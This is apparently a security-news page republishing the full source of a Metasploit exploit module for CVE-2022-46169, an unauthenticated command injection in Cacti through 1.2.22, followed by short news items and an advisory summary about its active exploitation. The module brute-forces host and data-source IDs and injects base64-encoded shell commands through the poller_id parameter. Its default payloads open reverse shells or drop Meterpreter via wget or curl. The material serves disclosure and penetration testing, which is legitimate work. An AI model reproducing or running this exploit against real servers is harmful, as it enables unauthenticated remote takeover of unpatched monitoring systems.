Security
Headlines
HeadlinesLatestCVEs

Headline

Cacti 1.2.22 Command Injection

This Metasploit module exploits an unauthenticated command injection vulnerability in Cacti versions through 1.2.22 in order to achieve unauthenticated remote code execution as the www-data user.

Packet Storm
#vulnerability#ubuntu#linux#apache#js#git#php#rce#auth#docker
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Cacti 1.2.22 unauthenticated command injection',        'Description' => %q{          This module exploits an unauthenticated command injection          vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in          order to achieve unauthenticated remote code execution as the          www-data user.          The module first attempts to obtain the Cacti version to see          if the target is affected. If LOCAL_DATA_ID and/or HOST_ID          are not set, the module will try to bruteforce the missing          value(s). If a valid combination is found, the module will          use these to attempt exploitation. If LOCAL_DATA_ID and/or          HOST_ID are both set, the module will immediately attempt          exploitation.          During exploitation, the module sends a GET request to          /remote_agent.php with the action parameter set to polldata          and the X-Forwarded-For header set to the provided value for          X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the          poller_id parameter is set to the payload and the host_id          and local_data_id parameters are set to the bruteforced or          provided values. If X_FORWARDED_FOR_IP is set to an address          that is resolvable to a hostname in the poller table, and the          local_data_id and host_id values are vulnerable, the payload          set for poller_id will be executed by the target.          This module has been successfully tested against Cacti          version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)        },        'License' => MSF_LICENSE,        'Author' => [          'Stefan Schiller', # discovery (independent of Steven Seeley)          'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)          'Owen Gong', # @phithon_xg - vulhub PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' => [          ['CVE', '2022-46169'],          ['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details          ['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC          ['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller        ],        'DefaultOptions' => {          'RPORT' => 8080        },        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Automatic (Unix In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },              'Type' => :unix_memory            }          ],          [            'Automatic (Linux Dropper)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },              'Type' => :linux_dropper            }          ]        ],        'Privileged' => false,        'DisclosureDate' => '2022-12-05',        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),      OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),      OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),      OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])    ])    register_advanced_options([      OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),      OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),      OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),      OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])    ])  end  def check    # sanity check to see if the target is likely Cacti    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    })    unless res      return CheckCode::Unknown('Connection failed.')    end    unless res.code == 200 && res.body.include?('<title>Login to Cacti')      return CheckCode::Safe('Target is not a Cacti application.')    end    # get the version    version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first    if version.blank?      return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')    end    begin      if Rex::Version.new(version) <= Rex::Version.new('1.2.22')        return CheckCode::Appears("The target is Cacti version #{version}")      else        return CheckCode::Safe("The target is Cacti version #{version}")      end    rescue StandardError => e      return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")    end  end  def exploitable_rrd_names    [      'apache_total_kbytes',      'apache_total_hits',      'apache_total_hits',      'apache_total_kbytes',      'apache_cpuload',      'boost_avg_size',      'boost_peak_memory',      'boost_records',      'boost_table',      'ExportDuration',      'ExportGraphs',      'syslogRuntime',      'tholdRuntime',      'polling_time',      'uptime',    ]  end  def brute_force_ids    # perform a sanity check first    if @host_id      host_ids = [@host_id]    else      if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']        fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')      end      host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a    end    if @local_data_id      local_data_ids = [@local_data_ids]    else      if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']        fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')      end      local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a    end    # lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id    max_attempts = host_ids.length * local_data_ids.length    if max_attempts > 1000      fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')    end    potential_targets = []    request_ct = 0    print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")    host_ids.each do |h_id|      print_status("Enumerating local_data_id values for host_id #{h_id}")      local_data_ids.each do |ld_id|        request_ct += 1        print_status("Performing request #{request_ct}...") if request_ct % 25 == 0        res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))        unless res          print_error('No response received. Aborting bruteforce')          return nil        end        unless res.code == 200          print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")          return nil        end        begin          parsed_response = JSON.parse(res.body)        rescue JSON::ParserError          print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")          return nil        end        unless parsed_response.is_a?(Array)          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")          return nil        end        # the array can be empty, which is not an error but just means the local_data_id is not exploitable        next if parsed_response.empty?        first_item = parsed_response.first        unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")          return nil        end        # some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array        # if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it        # in addition, some data source types have an empty rrd_name but are still exploitable        # however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it        # instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end        # then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options        rrd_name = first_item['rrd_name']        if rrd_name.empty?          potential_targets << [h_id, ld_id]        elsif exploitable_rrd_names.include?(rrd_name)          print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")          return [h_id, ld_id]        else          next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on        end      end    end    return nil if potential_targets.empty?    # inform the user about potential targets    print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")    potential_targets.each do |h_id, ld_id|      print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")    end    print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')    nil  end  def execute_command(cmd, _opts = {})    # use base64 encoding to get around special char limitations    cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"    send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)  end  def exploit    @host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?    @local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?    unless @host_id && @local_data_id      brute_force_result = brute_force_ids      unless brute_force_result        fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')      end      @host_id, @local_data_id = brute_force_result    end    if target.arch.first == ARCH_CMD      print_status('Executing the payload. This may take a few seconds...')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  end  def remote_agent_request(ld_id, h_id, poller_id)    {      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),      'headers' => {        'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']      },      'vars_get' => {        'action' => 'polldata',        'local_data_ids[0]' => ld_id,        'host_id' => h_id,        'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload      }    }  endend

Related news

Cacti, Realtek, and IBM Aspera Faspex Vulnerabilities Under Active Exploitation

Critical security flaws in Cacti, Realtek, and IBM Aspera Faspex are being exploited by various threat actors in hacks targeting unpatched systems. This entails the abuse of CVE-2022-46169 (CVSS score: 9.8) and CVE-2021-35394 (CVSS score: 9.8) to deliver MooBot and ShellBot (aka PerlBot), Fortinet FortiGuard Labs said in a report published this week. CVE-2022-46169 relates to a critical

Cacti Servers Under Attack as Majority Fail to Patch Critical Vulnerability

A majority of internet-exposed Cacti servers have not been patched against a recently patched critical security vulnerability that has come under active exploitation in the wild. That's according to attack surface management platform Censys, which found only 26 out of a total of 6,427 servers to be running a patched version of Cacti (1.2.23 and 1.3.0). The issue in question relates to

Debian Security Advisory 5298-1

Debian Linux Security Advisory 5298-1 - Two security vulnerabilities have been discovered in Cacti, a web interface for graphing of monitoring systems, which could result in unauthenticated command injection or LDAP authentication bypass.

CVE-2022-46169: Unauthenticated Command Injection

Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVE...

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution